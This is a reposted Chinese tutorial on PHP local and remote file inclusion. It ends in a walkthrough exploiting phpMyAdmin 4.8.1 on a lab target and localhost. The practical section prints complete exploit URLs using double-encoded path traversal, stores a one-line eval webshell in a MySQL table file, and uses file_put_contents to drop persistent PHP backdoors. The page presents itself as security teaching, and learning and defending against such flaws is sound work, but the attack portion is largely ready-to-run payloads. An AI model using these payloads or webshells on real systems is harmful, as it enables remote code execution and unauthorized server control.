新用户注册入口 老用户登录入口

[转载]本地文件包含和远程文件包含(超详细,小白也彳亍!)

文章作者:转载 更新时间:2024-01-06 09:10:40 阅读数量:342
文章标签:文件包含PHP远程文件包含本地文件包含PHP配置PHP代码执行
本文摘要:本文主要探讨了PHP编程中的文件包含机制,通过include函数实现本地文件包含以减少代码重复。即使被包含文件扩展名非.php,只要内含PHP代码,仍会被当作PHP执行。同时指出,当使用require函数时,若包含文件不存在将导致后续功能无法执行。远程文件包含依赖于allow_url_include配置项的开启,使得PHP程序能包含并执行远程服务器上的PHP代码。实战部分演示了如何利用本地文件包含漏洞将一句话木马写入MySQL数据库相关文件,并成功执行,展示了在不同系统环境下(如Windows)可能存在的本地文件包含转变为远程文件包含的情况,以及在该过程中对MySQL数据库路径和文件包含语法规则的应用。
转载文章

本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。

该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。

作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。

如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。

在这里插入图片描述
在这里插入图片描述

为了防止代码重复,我们就有了,文件包含。很多网页如果要用到很多同样的函数,那么我们就可以使用这个文件包含函数,就避免了每个网页又去重复造轮子。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在index.php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。
在这里插入图片描述
如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。
在这里插入图片描述

如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。那么就表明require函数,如果出现错误的话,会影响后面功能的运行。
在这里插入图片描述
只要文件内是php代码,文件包含是不在意文件后缀的。
在这里插入图片描述
12345.jpg的传参值是a,那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)
然后生成一个新的php文件

在这里插入图片描述
访问index.php
在这里插入图片描述

以上我们接触的全部是本地文件包含

说了本地文件包含,我们再来看远程文件包含

简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。
要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启)
来我们可以来实验一下,把这个配置打开。
“其他选项菜单”——“打开配置文件”——“php-ini”
在这里插入图片描述
打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写
在这里插入图片描述
之后要重启才能生效。
在这里插入图片描述
配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。

在这里插入图片描述
在这里插入图片描述
那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。
在这里插入图片描述

可以看到,包含成功!

在这里插入图片描述
这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。
在这里插入图片描述
但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?*号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。
在这里插入图片描述

实战

在这里插入图片描述

注意,这里php版本过低,会安装不上

在这里插入图片描述

在这里插入图片描述
安装好后,我们来解析下源码
在这里插入图片描述

在这里插入图片描述1.txt内容phpinfo()
在这里插入图片描述

来本地文件包含一下,发现成功

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt
在这里插入图片描述

靶场 http://59.63.200.79:8010/lfi/phpmyadmin/

先创建一个库名:nf
在这里插入图片描述

接着创建表:ff,字段数选2个就行了
在这里插入图片描述

然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。

在这里插入图片描述

然后我们找到存放表的路径。

在这里插入图片描述
这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo();

因为a在ff.frm里

<?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号

文件包含成功

在这里插入图片描述

用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’);

<?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号

在这里插入图片描述
写入成功后,我们连接这个8.php的木马。

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php

在这里插入图片描述

在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的

1,创建一个库为yingqian1984,
2,创建一个表为yq1984
3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据
4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在
C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984
在这里插入图片描述

文件包含成功。

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo();

在这里插入图片描述

用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’);

<?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号

在这里插入图片描述

传参成功

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo();

在这里插入图片描述

本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。

该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。

作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。

如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。

相关阅读
文章标题:[转载][洛谷P1082]同余方程

更新时间:2023-02-18
[转载][洛谷P1082]同余方程
文章标题:[转载]webpack优化之HappyPack实战

更新时间:2023-08-07
[转载]webpack优化之HappyPack实战
文章标题:[转载]oracle 同时更新多表,在Oracle数据库中同时更新两张表的简单方法

更新时间:2023-09-10
[转载]oracle 同时更新多表,在Oracle数据库中同时更新两张表的简单方法
文章标题:[转载][Unity] 包括场景互动与射击要素的俯视角闯关游戏Demo

更新时间:2024-03-11
[转载][Unity] 包括场景互动与射击要素的俯视角闯关游戏Demo
文章标题:[转载]程序员也分三六九等?等级差异,一个看不起一个!

更新时间:2024-05-10
[转载]程序员也分三六九等?等级差异,一个看不起一个!
文章标题:[转载]海贼王 动漫 全集目录 分章节 精彩打斗剧集

更新时间:2024-01-12
[转载]海贼王 动漫 全集目录 分章节 精彩打斗剧集
名词解释
作为当前文章的名词解释,仅对当前文章有效。
文件包含文件包含是PHP编程中的一种机制,允许开发者在一个PHP脚本中嵌入并执行另一个文件的内容。通过使用include或require等函数,可以将外部文件的代码合并到当前脚本中,实现代码复用、模块化和功能扩展。在本文语境下,文件包含可能被恶意利用,攻击者借此将恶意代码包含进目标脚本执行,从而发动攻击。
一句话木马在网络安全领域,一句话木马通常指一段极其简短却具备后门功能的PHP代码,能够为攻击者提供远程控制服务器的机会。在文中,攻击者利用文件包含漏洞将一句话木马写入MySQL数据库相关文件,并通过访问特定URL触发该木马执行,进而实现对目标系统的控制。
allow_url_includeallow_url_include是PHP配置选项之一,用于决定是否允许PHP脚本通过include或require函数包含远程(HTTP/HTTPS/FTP)文件。当allow_url_include设置为On时,PHP会尝试从远程服务器获取指定路径的文件内容并当作PHP代码执行。在本文的安全实验场景中,开启此配置选项意味着攻击者可以利用远程文件包含漏洞进行攻击。
MySQLMySQL是一个广泛使用的开源关系型数据库管理系统,可存储、管理和检索数据。在文章的实战部分,作者演示了如何利用文件包含漏洞向MySQL数据库中的表文件插入一句话木马,并通过访问生成的PHP文件来执行恶意代码,说明了在Web应用程序开发中,若对数据库操作不当,可能导致严重的安全问题。
延伸阅读
作为当前文章的延伸阅读,仅对当前文章有效。
在了解了PHP文件包含机制及其潜在的安全风险后,我们可以通过以下延伸阅读材料进一步深入探讨该话题:
近期,网络安全研究团队披露了一起针对PHP应用程序的远程文件包含漏洞攻击事件。黑客利用未正确配置的allow_url_include功能,成功地将恶意PHP代码从远程服务器引入目标系统,并执行了未经授权的操作。这再次提醒开发者和系统管理员,在开发过程中必须谨慎处理文件包含操作,确保禁用不必要的远程文件包含功能,并对用户提交的数据进行严格的过滤和验证。
此外,PHP官方社区也发布了一系列安全更新,以修复已知的文件包含漏洞和其他安全问题。建议所有使用PHP的网站和应用尽快升级至最新稳定版,同时遵循最佳安全实践,如避免直接在include或require语句中使用不受信任的变量指定文件路径。
深入解读方面,著名安全专家在其博客上分析了PHP文件包含漏洞的历史演变与防范策略,强调了防御此类攻击的关键在于实施严格的输入验证、最小权限原则以及合理的错误处理机制。他引用了多个历史案例,展示了攻击者如何通过精心构造的URL绕过安全防护,实现远程代码执行。
综上所述,对于PHP文件包含漏洞这一安全隐患,无论是及时关注最新的安全动态,还是深入学习和理解其原理及防范措施,都是当前广大开发者和网络安全从业者需要持续关注和努力的方向。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
history | grep keyword - 搜索命令历史中的特定关键词。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
jQuery产品图片360度旋转预览插件 12-31 Etcd分布式系统中日志清理策略:冲突与优化实操 07-30 适合移动设备的小巧jQuery颜色拾取器插件 04-07 [转载]CentOS7 安装svn 01-26 纯js仿腾讯微博无刷新添加删除留言板功能插件 01-19 SeaTunnel中SSL/TLS加密连接的配置实践:防范数据泄露风险与合规性问题,确保MySQL至Kafka数据传输安全 01-10 CMakeLists.txt在CMake构建系统中的作用:配置源代码编译、管理依赖关系与静态库、动态链接的实现 01-03 抱歉,根据您提供的关键词列表和要求,由于缺乏实际内容以关联这些关键词,我无法准确地为您拟定一个切题且有针对性的。 12-17 java中堆栈和栈的区别 11-18 本次刷新还10个文章未展示,点击 更多查看。
[转载]大厂 Framework 面试必备 HandlerBinder 面试题 11-15 Hessian服务端更新后如何实现客户端无缝对接:版本控制、向后兼容性设计与双重部署实践 10-30 虚拟机在Linux操作系统中无法启动:硬件兼容性、配置文件与软件故障排查及解决步骤,包括更新驱动与重装软件 09-18 .NET环境下使用自定义基类封装并统一处理ADO.NET与Oracle数据库交互异常:关注ErrorNumber属性及代码维护性 09-18 Flink on YARN:详解部署方式与资源管理策略,包括TaskManager配置、动态资源分配和Slot机制在YARN集群环境中的实践 09-10 所见即所得的jQuery数学公式编辑器插件 07-29 [转载]梅花雪Web Calendar ver 3.0 网页日历在asp.net 2.0的应用 04-22 [转载]一文看懂 .NET 的异常处理机制、原则以及最佳实践 04-13 Swiper-强大的移动手机端幻灯片插件 02-09 MongoDB数据库:应对日志文件过大导致磁盘空间不足的策略——日志级别调整、增加磁盘空间与logshark、mongoexport工具应用 01-16 红色精美大气红酒电子商务销售企业网站模板 01-12
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"